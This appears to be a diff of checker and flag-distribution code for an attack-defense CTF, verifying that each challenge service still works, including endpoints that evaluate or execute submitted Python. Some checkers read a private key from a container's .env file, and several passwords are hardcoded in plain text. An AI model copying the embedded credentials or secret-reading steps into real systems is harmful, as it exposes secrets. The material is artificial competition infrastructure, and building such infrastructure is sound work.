with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
url = f'http://localhost:{self.port}'
flag = open(self.flag_location).read()
# C1: login guest success
guest_data = {
'username': 'guest',
'password': 'guest',
}
response = requests.post(url, data=guest_data, timeout=5)
guest_token = response.cookies["token"]
assert "Welcome, guest!" in response.text, "Guest cannot login"
assert "flashes" not in response.text, "Guest cannot login"
self.logger.info(f'C1 success for burvesigner')
# C2: login admin success
admin_data = {
'username': 'merricx_number_1_fans',
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
}
response = requests.post(url, data=admin_data, timeout=5)
admin_token = response.cookies["token"]
assert "Welcome, merricx_number_1_fans!" in response.text, "Admin cannot login"
assert flag in response.text, "Flag is missing in admin page"
assert "flashes" not in response.text, "Admin cannot login"
self.logger.info(f'C2 success for burvesigner')
# C3: login guest fail
guest_data = {
'username': 'guest',
'password': 'Guest',
}
response = requests.post(url, data=guest_data, timeout=5).text
assert "Welcome, guest!" not in response, "Guest with wrong credential can login"
assert "flashes" in response, "Guest with wrong credential can login"
self.logger.info(f'C3 success for burvesigner')
# C4: login admin fail
admin_data = {
'username': 'merricx_number_1_fans',
'password': 'password',
}
response = requests.post(url, data=admin_data, timeout=5).text
assert "Welcome, merricx_number_1_fans!" not in response, "Admin with wrong credential can login"
assert flag not in response, "Flag is showing in admin page with wrong credential"
assert "flashes" in response, "Admin with wrong credential can login"
self.logger.info(f'C4 success for burvesigner')
self.logger.info('calling sleep(5)')
time.sleep(5)
# C5: cek apakah token guest di C1 sudah expired atau belum
response = requests.get(url, cookies={"token": guest_token}, timeout=5)
assert "Welcome, guest!" in response.text, "Guest token expires early"
assert "flashes" not in response.text, "Guest token expires early"
self.logger.info(f'C5 success for burvesigner')
# C6: cek apakah token admin di C2 sudah expired atau belum
response = requests.get(url, cookies={"token": admin_token}, timeout=5)
assert "Welcome, merricx_number_1_fans!" in response.text, "Admin token expires early"
assert flag in response.text, "Admin token expires early"
assert "flashes" not in response.text, "Admin token expires early"
self.logger.info(f'C6 success for burvesigner')
# C7: cek endpoint /params
response = requests.get(url + "/params", timeout=5).text
response = response.replace("<pre>", "").replace("</pre>", "")
params = json.loads(response)
assert params["p"] and params["a"] and params["b"] and params["n"], "Missing p, a, b and/or n parameter(s)"
assert params["G"][0] and params["G"][1] and params["Y"][0] and params["Y"][1], "Missing G and/or Y point(s)"
self.logger.info(f'C7 success for burvesigner')
# C8: cek apakah curve C valid dan point G di C
C = Curve("burvesigner", params["p"], params["a"], params["b"], params["n"], params["G"][0], params["G"][1])
assert C.G == Point(params["G"][0], params["G"][1], C), "Point G is not valid"
self.logger.info(f'C8 success for burvesigner')
# C9: cek apakah point G * priv = Y
t = params["p"].bit_length() // 8
priv = open(self.priv_location, "rb").read()[:t]
x = int.from_bytes(priv, "little")
Y = Point(params["Y"][0], params["Y"][1], C)
assert C.G * x == Y, "Point Y is not valid"
self.logger.info(f'C9 success for burvesigner')
return True
except Exception as e:
self.logger.error(f'Could not check burvesigner: {e}')
return False
+34
View File
@@ -0,0 +1,34 @@
import logging
import random
import string
from config import get_settings
class Challenge(object):
name = __name__
settings = get_settings()
port = 0
def __init__(self, port):
self.port = port
self.add_logger()
def add_logger(self):
self.logger = logging.getLogger()
def random_string(self, length):
charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join(random.choice(charset) for i in range(length))
def distribute(self, flag):
raise NotImplementedError
def check(self):
raise NotImplementedError
def credentials(self):
return {
'username': 'root',
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
}
+38
View File
@@ -0,0 +1,38 @@
from .Challenge import Challenge
import requests
import os
MOCK_URL = 'http://google.com'
MOCK_DATA = '<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">'
class Crawlback(Challenge):
flag_location = 'flags/crawlback.txt'
history_location = 'history/crawlback.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
r = requests.post(f"http://localhost:{self.port}/crawlback.php", data={'url': MOCK_URL})
assert r.text.split('\n').pop(0) == MOCK_DATA
return True
except Exception as e:
self.logger.error(f'Could not check crawlback: {e}')
return False
+67
View File
@@ -0,0 +1,67 @@
from .Challenge import Challenge
import requests
import zlib
import gzip
import json
MOCK_URL = 'http://google.com'
MOCK_DATA_WGET = 'Google</title>'
MOCK_DATA_CURL = '<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">'
class GemasFetcher(Challenge):
flag_location = 'flags/gemas-fetcher.txt'
history_location = 'history/gemas-fetcher.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
sess = requests.Session()
## register
username = self.random_string(5)
password = self.random_string(5)
r = sess.post(f"http://localhost:{self.port}/auth/register", data={"username":username,"password": password}, allow_redirects=False)
assert r.headers.get("location") == "/auth/login", "Register Failed"
## login
r = sess.post(f"http://localhost:{self.port}/auth/login", data={"username":username,"password": password}, allow_redirects=False)
assert r.headers.get("location") == "/dashboard", "Login Failed"
## wget
content = {"provider": "wget","url":MOCK_URL}
files = {"file": ("visit", b"\x00\x00"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
r = sess.post(f"http://localhost:{self.port}/dashboard/fetch_by_file", files=files)
assert MOCK_DATA_WGET in r.text, "wget Failed"
## curl
content = {"provider": "curl","url":MOCK_URL}
files = {"file": ("visit", b"\x00\x01"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
r = sess.post(f"http://localhost:{self.port}/dashboard/fetch_by_file", files=files)
assert r.text.split('\n').pop(0) == MOCK_DATA_CURL, "curl Failed"
## python
content = {"provider": "python","url":MOCK_URL}
files = {"file": ("visit", b"\x00\x02"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
r = sess.post(f"http://localhost:{self.port}/dashboard/fetch_by_file", files=files)
assert r.text.startswith('"PCFkb2N0eXBlIGh0bWw'), "python Failed"
return True
except Exception as e:
self.logger.error(f'Could not check gemas-fetcher: {e}')
return False
+67
View File
@@ -0,0 +1,67 @@
from .Challenge import Challenge
import requests
class GemasNotes(Challenge):
history_location = 'history/gemas-notes.txt'
host = "http://localhost:12000"
def distribute(self, flag):
try:
username = "gemasflagreceiver"
password = "AuTeEbn%.Q5$pC_ge6"
result = requests.post(f"{self.host}/flag_receiver", json={"flag": flag}, auth=(username,password)).json()
if not result.get("success"):
return False
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} updated in gemas-notes database')
return True
except Exception as e:
self.logger.error(f'Could send flag to gemas-notes challenge: {e}')
return False
def check(self):
try:
url = f'http://localhost:{self.port}'
# login
token = requests.post(f"{url}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
header = {"Authorization": f"Bearer {token}"}
# get count
old_count = requests.post(f"{url}/api/notes/count", headers=header, json={"count_by":"title", "keyword":""}).json()["count"]
# create notes
notes = {"title":self.random_string(10), "content":self.random_string(20), "tags":self.random_string(10)}
status_code = requests.put(f"{url}/api/notes", headers=header, json=notes).status_code
assert status_code in [200, 201], "Cannot Create Note"
# get notes
all_notes = requests.get(f"{url}/api/notes").json()
note = list(filter(lambda x: x["title"] == notes["title"], all_notes))
assert len(note) != 0, "Note was not created"
# get new count
new_count = requests.post(f"{url}/api/notes/count", headers=header, json={"count_by":"title", "keyword":""}).json()["count"]
assert old_count != new_count, "Invalid count"
# update notes
new_content = self.random_string(20)
notes["id"] = note[0]["id"]
notes["content"] = new_content
status_code = requests.patch(f"{url}/api/notes", headers=header, json=notes).status_code
assert status_code in [200, 204], "Cannot Update Note"
# delete notes
status_code = requests.delete(f"{url}/api/notes/{notes['id']}", headers=header, json=notes).status_code
assert status_code == 200, "Cannot Delete Note"
return True
except Exception as e:
self.logger.error(f'Could not check gemas-notes: {e}')
return False
+42
View File
@@ -0,0 +1,42 @@
import requests
from base64 import b64decode
from .Challenge import Challenge
class Hirnfick(Challenge):
flag_location = 'flags/hirnfick.txt'
history_location = 'history/hirnfick.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(
f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
res = requests.post(
f"http://localhost:{self.port}/api/run",
timeout=5,
json={
"code":
"+[-->-[>>+>-----<<]<--<---]>-.>>>+.>>..+++[.>]<<<<.+++.------.<<-.>>>>+."
})
assert b64decode(res.json()["output"]) == b"HirnFick 1.0\nHello, World!"
return True
except Exception as e:
self.logger.error(f'Could not check hirnfick: {e}')
return False
+109
View File
@@ -0,0 +1,109 @@
from .Challenge import Challenge
import requests
class Pasta(Challenge):
flag_location = 'flags/pasta.txt'
history_location = 'history/pasta.txt'
host = "http://localhost:13000"
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
url = f'http://localhost:{self.port}'
username = f"checker-{self.random_string(8)}"
pwd = self.random_string(12)
flag = open(self.flag_location).read()
admin_data = {
'username': 'deomkicer_number_1_fans',
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
}
# login admin and check flag
response = requests.post(
f"{url}/auth",
json=admin_data).json()
token = response.get('token')
assert token, "Token is missing in login admin"
check_flag = requests.get(f"{url}/flag", headers={'Authorization': f"Bearer {token}"}).json()
assert check_flag.get('flag') == flag, "Flag is missing/mismatch"
# register
response = requests.post(
f"{url}/register",
json={
"username": f"{username}",
"password": f"{pwd}"}).json()
assert response.get('success') == "User registered succesfully", "Register failed"
# login with version 1
response = requests.post(
f"{url}/auth?version=1",
json={
"username": f"{username}",
"password": f"{pwd}"}).json()
token = response.get('token')
assert token, "Token is missing in login v1"
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
assert check_home.get('username') == username, "Different username found in login v1"
# login with version 2
response = requests.post(
f"{url}/auth?version=2",
json={
"username": f"{username}",
"password": f"{pwd}"}).json()
token = response.get('token')
assert token, "Token is missing in login v2"
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
assert check_home.get('username') == username, "Different username found in login v2"
# login with version 3
response = requests.post(
f"{url}/auth?version=3",
json={
"username": f"{username}",
"password": f"{pwd}"}).json()
token = response.get('token')
assert token, "Token is missing in login v3"
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
assert check_home.get('username') == username, "Different username found in login v3"
# login with version 4
response = requests.post(
f"{url}/auth?version=4",
json={
"username": f"{username}",
"password": f"{pwd}"}).json()
token = response.get('token')
assert token, "Token is missing in login v4"
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
assert check_home.get('username') == username, "Different username found in login v4"
return True
except Exception as e:
self.logger.error(f'Could not check pasta: {e}')
return False
+44
View File
@@ -0,0 +1,44 @@
from .Challenge import Challenge
import requests
import os
class S3(Challenge):
flag_location = 'flags/s3.txt'
history_location = 'history/s3.txt'
host = 'http://localhost:20000'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
filename = self.random_string(8) + ".txt"
content = self.random_string(64)
r = requests.post(f"http://localhost:{self.port}/upload", files={'file': (filename, content)})
assert r.status_code == 200
assert r.text == f'Download <a href="/download?filename={filename}">here</a>'
r = requests.get(f"http://localhost:{self.port}/download?filename={filename}")
assert r.status_code == 200
assert r.text == content
return True
except Exception as e:
self.logger.error(f'Could not check s3: {e}')
return False
+66
View File
@@ -0,0 +1,66 @@
from .Challenge import Challenge
import io
import pandas as pd
import requests
import re
MOCK_DATA = [
{'name': 'John','age': 30, 'city': 'New York'},
{'name': 'Mary', 'age': 25, 'city': 'San Francisco'},
{'name': 'Peter', 'age': 45, 'city': 'Chicago'},
]
MOCK_RESULT = {
"Sheet1":{
"!ref":"A1:C4",
"A1":{"t":"s","v":"name","h":"name","w":"name"},"B1":{"t":"s","v":"age","h":"age","w":"age"},"C1":{"t":"s","v":"city","h":"city","w":"city"},
"A2":{"t":"s","v":"John","h":"John","w":"John"},"B2":{"t":"n","v":30,"w":"30"},"C2":{"t":"s","v":"New York","h":"New York","w":"New York"},
"A3":{"t":"s","v":"Mary","h":"Mary","w":"Mary"},"B3":{"t":"n","v":25,"w":"25"},"C3":{"t":"s","v":"San Francisco","h":"San Francisco","w":"San Francisco"},
"A4":{"t":"s","v":"Peter","h":"Peter","w":"Peter"},"B4":{"t":"n","v":45,"w":"45"},"C4":{"t":"s","v":"Chicago","h":"Chicago","w":"Chicago"},
"!margins":{"left":0.75,"right":0.75,"top":1,"bottom":1,"header":0.5,"footer":0.5}
}
}
class XL(Challenge):
flag_location = 'flags/xl.txt'
history_location = 'history/xl.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
url = f'http://localhost:{self.port}'
files = {'file': self.generate_mock_file()}
r = requests.post(url, files=files, timeout=5)
assert r.json() == MOCK_RESULT, 'Unexpected response'
self.logger.info('Check passed for xl')
return True
except Exception as e:
self.logger.error(f'Could not check xl: {e}')
return False
def generate_mock_file(self):
memory_file = io.BytesIO()
df = pd.DataFrame(MOCK_DATA)
df.to_excel(memory_file, index=False)
memory_file.seek(0)
return memory_file
+105
View File
@@ -0,0 +1,105 @@
from .Challenge import Challenge
from modules.blinkpdf import *
import io
import requests
import subprocess
import re
class BlinkPDF(Challenge):
flag_location = 'flags/blinkpdf.txt'
history_location = 'history/blinkpdf.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
# Getting private key
container_env = subprocess.run(
["docker", "exec", "blinkpdf_container", "cat", "/opt/.env"],
capture_output=True,
text=True
).stdout.strip()
private_key = re.search(r'PRIVATE_KEY="(.+?)"', container_env).group(1)
assert len(private_key) > 0, 'Missing PRIVATE_KEY on .env'
sess = requests.Session()
# Checking C1: Login as user
url = f'http://localhost:{self.port}/login'
data = {"username": "user", "password": "user"}
r = sess.post(url, data=data, timeout=5)
assert 'Welcome to the PDF Signature App'.lower() in r.text.lower(), 'Cannot login as user'
pdfpath = 'files/blinkpdf_hellodocs.pdf'
pdfbytes = open(pdfpath, 'rb').read()
# Checking C2: Sign pdf as user
sign_url = f'http://localhost:{self.port}/sign'
r = sess.post(sign_url, timeout=5)
sendata = ('main.pdf', pdfbytes, 'application/pdf')
filedata = {'file': sendata}
r = sess.post(sign_url, files=filedata, timeout=5)
signed_pdf = r.content
assert r.status_code == 200 and 'application/pdf' in r.headers['Content-Type'], 'Signed PDF not available or incorrect content type'
signed_pdf_stream = io.BytesIO(signed_pdf)
assert verify_signature(signed_pdf_stream, private_key), 'Algorithm for signature process is changed'
# Checking C3: Verify valid pdf as user
pdf_bytes_stream = io.BytesIO(pdfbytes)
signed_pdf_stream = sign_pdf(pdf_bytes_stream, private_key)
verify_url = f'http://localhost:{self.port}/verify'
sendata = ('main_signed.pdf', signed_pdf_stream, 'application/pdf')
filedata = {'file': sendata}
r = sess.post(verify_url, files=filedata, timeout=5)
assert 'The signature is <strong>valid</strong>.' in r.text, 'Verify function not working or algoritm verify process is changed'
# Checking C3: Verify invalid pdf as user
verify_url = f'http://localhost:{self.port}/verify'
sendata = ('main_signed.pdf', pdfbytes, 'application/pdf')
filedata = {'file': sendata}
r = sess.post(verify_url, files=filedata, timeout=5)
assert 'The signature is <strong>invalid' in r.text, 'Verify function not working or algoritm verify process is changed for invalid signature'
# Checking C4: Checking flag on container
with open(self.flag_location, 'r') as f:
host_flag = f.read().strip()
container_flag = subprocess.run(
["docker", "exec", "blinkpdf_container", "cat", "/flag.txt"],
capture_output=True,
text=True
).stdout.strip()
assert host_flag == container_flag, 'Flag mismatch between host and container'
# Checking C5: Login as admin and enc_flag checking
url = f'http://localhost:{self.port}/login'
data = {'username': "admin", "password": f'{private_key}'}
r = sess.post(url, data=data, timeout=5)
assert 'Welcome to the PDF Signature App'.lower() in r.text.lower(), 'Cannot login as admin'
url = f'http://localhost:{self.port}/admin_panel'
r = sess.get(url, timeout=5)
enc_flag = r.text.split('encrypted flag: ')[1].split('</p>')[0]
cek, dec = decryptMessage(enc_flag, private_key)
assert dec.decode() == host_flag, 'Change algorithm for encryption flag'
assert cek == True, 'Change signature algorithm for encryption flag'
self.logger.info('Check passed for blinkpdf')
return True
except Exception as e:
self.logger.error(f'Could not check blinkpdf: {e}')
return False
+34
View File
@@ -0,0 +1,34 @@
import logging
import random
import string
from config import get_settings
class Challenge(object):
name = __name__
settings = get_settings()
port = 0
def __init__(self, port):
self.port = port
self.add_logger()
def add_logger(self):
self.logger = logging.getLogger()
def random_string(self, length):
charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join(random.choice(charset) for i in range(length))
def distribute(self, flag):
raise NotImplementedError
def check(self):
raise NotImplementedError
def credentials(self):
return {
'username': 'ctfuser',
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
}
+99
View File
@@ -0,0 +1,99 @@
from .Challenge import Challenge
import io
import requests
import random
import subprocess
import requests
import re
class Naraka(Challenge):
flag_location = 'flags/naraka.txt'
history_location = 'history/naraka.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
random_name = [
"nael", "mufat", "rayhan", "wicak", "Kingggg",
"osdie", "udin", "memet", "entong", "krabby",
"mew", "charizard", "pidgey", "rattata", "vulpix",
"eevee", "snorlax", "magikarp", "growlithe", "abra"
]
math_expression = "+-*"
python_programs = [
"a = 10;b = 5;print(a+b)", "a = 'add'; b='string';print(a+b)","x = [1,2,3,4,5,6,7,8];print(max(x))"
]
programs_result = ["b&#39;15","b&#39;addstring","b&#39;8"]
try:
# Step 1: Chekc Greetings return name
name = random.choice(random_name)
url = f'http://localhost:{self.port}/render?name={name}'
r = requests.get(url, timeout=5)
assert name in r.text, 'Greetings is not greetings my name :('
# Step 2: Check eval calculator using random math expression
math = f'{random.randint(1,100)}{random.choice(math_expression)}{random.randint(1,100)}'
math_result = eval(math)
data = {'chall': '2','input':math}
url = f'http://localhost:{self.port}/chall'
r = requests.post(url, data=data, timeout=5)
assert str(math_result) in r.text, 'Eval calculator is not working :('
# Step 3: Check exec that execute python program
ind = random.randint(0,2)
pythononeline = python_programs[ind]
pythonresult = programs_result[ind]
data = {'chall': '1','input':pythononeline}
url = f'http://localhost:{self.port}/chall'
r = requests.post(url, data=data, timeout=5)
assert pythonresult in r.text, 'My code line is not execute :('
# Step 4: Check execute FLAG declaration execute
url = f'http://localhost:{self.port}/sourcecode/1'
r = requests.get(url, timeout=5)
flag_assignments = re.findall(r'^\s*FLAG\s*=\s*sys\.argv\[2\]\s*$', r.text, re.MULTILINE)
flag_assignments_num = flag_assignments = re.findall(r'^\s*FLAG\s*=\s*.+$', r.text, re.MULTILINE)
assert flag_assignments != 1 or flag_assignments_num != 1, "execute FLAG declared incorrectly"
# Step 5: Check evaluate FLAG declaration execute
url = f'http://localhost:{self.port}/sourcecode/1'
r = requests.get(url, timeout=5)
flag_assignments = re.findall(r'^\s*FLAG\s*=\s*sys\.argv\[2\]\s*$', r.text, re.MULTILINE)
flag_assignments_num = flag_assignments = re.findall(r'^\s*FLAG\s*=\s*.+$', r.text, re.MULTILINE)
assert flag_assignments != 1 or flag_assignments_num != 1, "evaluate FLAG declared incorrectly"
# Step 6: Check flag
with open(self.flag_location, 'r') as f:
host_flag = f.read().strip()
container_flag = subprocess.run(
["docker", "exec", "naraka_container", "cat", "/flag.txt"],
capture_output=True,
text=True
).stdout.strip()
assert host_flag == container_flag, 'Flag mismatch between host and container'
self.logger.info('Check passed for naraka')
return True
except Exception as e:
self.logger.error(f'Could not check naraka: {e}')
return False
+93
View File
@@ -0,0 +1,93 @@
from .Challenge import Challenge
import io
import requests
import random
import subprocess
import json
class Niko(Challenge):
flag_location = 'flags/niko.txt'
history_location = 'history/niko.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
error_messages = [
"あなたはどんなオタクですか",
"冗談じゃないよ!",
"tch なんだよ こいつ",
"どうしてそんなことが可能でしょうか…不可能です",
"本当のあなたは何ですか?",
"うわー、ごめんなさい",
"御心のままに、主よ",
"もういいよ、やめて!",
"時間です",
"悪くないよ。"
]
try:
# Step 1: Check if the flag still exists and matches the one in the container
with open(self.flag_location, 'r') as f:
host_flag = f.read().strip()
container_flag = subprocess.run(
["docker", "exec", "niko_container", "cat", "/flag.txt"],
capture_output=True,
text=True
).stdout.strip()
assert host_flag == container_flag, 'Flag mismatch between host and container'
self.logger.info('Flag check passed for niko')
# Step 2: Check if can access flag
container_key = subprocess.run(
["docker", "exec", "niko_container", "cat", "/opt/flag"],
capture_output=True,
text=True
).stdout.strip()
urlFlag = f'http://localhost:{self.port}/api/getFlag?flag={container_key}'
expected_output = container_flag
response2 = requests.get(urlFlag)
assert response2.text.strip() == expected_output, 'Get Flag check does not work'
self.logger.info('Get flag endpoint check passed for niko')
# Step 3: Check if the webpage can be accessed
url = f'http://localhost:{self.port}/'
response = requests.get(url)
status_code = response.status_code
assert status_code == 200, 'Webpage is not accessible'
self.logger.info('Webpage accessibility check passed for niko')
# Step 4: Check if the output of the specific URL equals the expected string
urlFlag = f'http://localhost:{self.port}/api/getFlag?flag=1'
expected_output = "(⋟﹏⋞) 私をバカにしようとしているのか (´ ͡༎ຶ ͜ʖ ͡༎ຶ `)︵‿︵"
response2 = requests.get(urlFlag)
assert response2.text.strip() == expected_output, 'Webpage output does not match expected output'
self.logger.info('Webpage output check passed for niko')
# Step 5: Check if the chat endpoint is working
urlChat = f'http://localhost:{self.port}/api/chat'
data = 'test'
response3 = requests.post(urlChat, data=data)
assert json.loads(response3.text.strip()).get("output") in error_messages, 'Api endpoint is not accessible'
self.logger.info('Webpage delay check passed for niko')
return True
except Exception as e:
self.logger.error(f'Could not check niko: {e}')
return False
+65
View File
@@ -0,0 +1,65 @@
from .Challenge import Challenge
import io
import requests
import random
import subprocess
class Poke(Challenge):
flag_location = 'flags/poke.txt'
history_location = 'history/poke.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
pokemon_names = [
"pikachu", "bulbasaur", "charmander", "squirtle", "jigglypuff",
"meowth", "psyduck", "machop", "gastly", "krabby",
"mew", "charizard", "pidgey", "rattata", "vulpix",
"eevee", "snorlax", "magikarp", "growlithe", "abra"
]
try:
# Step 1: Randomize the Pokémon name
pokemon_name = random.choice(pokemon_names)
url = f'http://localhost:{self.port}/'
data = {'pokemon_name': pokemon_name}
r = requests.post(url, data=data, timeout=5)
assert pokemon_name.lower() in r.text.lower(), 'Pokémon data not available'
# Step 2: Check if the image is available
image_url = f'http://localhost:{self.port}/?image={pokemon_name.lower()}.png'
r = requests.get(image_url, timeout=5)
assert r.status_code == 200 and 'image/png' in r.headers['Content-Type'], 'Pokémon image not available or incorrect content type'
# Step 3: Check if the flag still exists and matches the one in the container
with open(self.flag_location, 'r') as f:
host_flag = f.read().strip()
container_flag = subprocess.run(
["docker", "exec", "poke_container", "cat", "/flag.txt"],
capture_output=True,
text=True
).stdout.strip()
assert host_flag == container_flag, 'Flag mismatch between host and container'
self.logger.info('Check passed for poke')
return True
except Exception as e:
self.logger.error(f'Could not check poke: {e}')
return False
+88
View File
@@ -0,0 +1,88 @@
from .Challenge import Challenge
import io
import requests
import random
import subprocess
import requests
import re
class Wanderer(Challenge):
flag_location = 'flags/wanderer.txt'
history_location = 'history/wanderer.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
session = requests.Session()
# Step 1: Check Register
register_url = f'http://localhost:{self.port}/index.php?module=user&action=register'
registration_data = {'username': 'adminwreckitchecker','password': 'adminwreckitchecker'}
response = session.post(register_url, data=registration_data)
assert "username already exists" in response.text or "Registration Success" in response.text or response.status_code == 200 , 'Function Register Failed'
# Step 2: Check Login
login_url = f'http://localhost:{self.port}/index.php?module=user&action=login'
login_data = {'username': 'adminwreckitchecker', 'password': 'adminwreckitchecker'}
response = session.post(login_url, data=login_data)
assert "Login Success" in response.text or response.status_code == 200, 'Login function failed'
# Step 3: Check UUID Not hidden
view_page_url = f'http://localhost:{self.port}/index.php?module=page&action=viewPage'
response = session.get(view_page_url)
uuid_pattern = re.compile(r'[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}')
found_uuids = uuid_pattern.findall(response.text)
assert found_uuids, 'UUID not found'
# Step 4: Check create sample page
sample_page_url = f'http://localhost:{self.port}/index.php?module=page&action=samplePage'
response = session.get(sample_page_url)
assert "Create Success" in response.text or response.status_code == 200, 'Create Sample Failed'
# Step 5: Check Edit HTML Functionality
edit_url_html = f'http://localhost:{self.port}/index.php?module=user&action=edit&type=html'
response = session.get(edit_url_html)
assert response.status_code == 200, 'Edit html page not accessible'
# Step 6: Check Edit JS Functionality
edit_url_js = f'http://localhost:{self.port}/index.php?module=user&action=edit&type=js'
response = session.get(edit_url_js)
assert response.status_code == 200, 'Edit js page not accessible'
# Step 7: Check Edit CSS Functionality
edit_url_css = f'http://localhost:{self.port}/index.php?module=user&action=edit&type=css'
response = session.get(edit_url_css)
assert response.status_code == 200, 'Edit css page not accessible'
# Step 8: Check flag
with open(self.flag_location, 'r') as f:
host_flag = f.read().strip()
container_flag = subprocess.run(
["docker", "exec", "wanderer_container", "cat", "/flag.txt"],
capture_output=True,
text=True
).stdout.strip()
assert host_flag == container_flag, 'Flag mismatch between host and container'
self.logger.info('Check passed for wanderer')
return True
except Exception as e:
self.logger.error(f'Could not check wanderer: {e}')
return False
+36
View File
@@ -0,0 +1,36 @@
from pydantic import BaseSettings
from functools import lru_cache
class Settings(BaseSettings):
COMPOSE_LOCATION: str
ADMIN_USERNAME: str
ADMIN_PASSWORD: str
PASSWORD_10000: str
PASSWORD_11000: str
PASSWORD_12000: str
PASSWORD_13000: str
PASSWORD_14000: str
PASSWORD_15000: str
PASSWORD_16000: str
PASSWORD_17000: str
PASSWORD_18000: str
PASSWORD_19000: str
PASSWORD_20000: str
PASSWORD_21000: str
PASSWORD_22000: str
PASSWORD_23000: str
PASSWORD_24000: str
PASSWORD_25000: str
PASSWORD_26000: str
PASSWORD_27000: str
PASSWORD_28000: str
PASSWORD_29000: str
class Config:
env_file = ".env"
@lru_cache()
def get_settings():
return Settings()
View File
Whitespace-only changes.
Binary file not shown.
View File
Whitespace-only changes.
+1
View File
@@ -0,0 +1 @@
WRECKIT50{PLACEHOLDER}
+1
View File
@@ -0,0 +1 @@
WRECKIT50{PLACEHOLDER}
+1
View File
@@ -0,0 +1 @@
WRECKIT50{PLACEHOLDER}
+1
View File
@@ -0,0 +1 @@
WRECKIT50{PLACEHOLDER}
+1
View File
@@ -0,0 +1 @@
WRECKIT50{PLACEHOLDER}
+1
View File
@@ -0,0 +1 @@
WRECKIT50{PLACEHOLDER}
Loaded 50 of 1246 files, more files were not shown because too many files have changed in this diff. Show more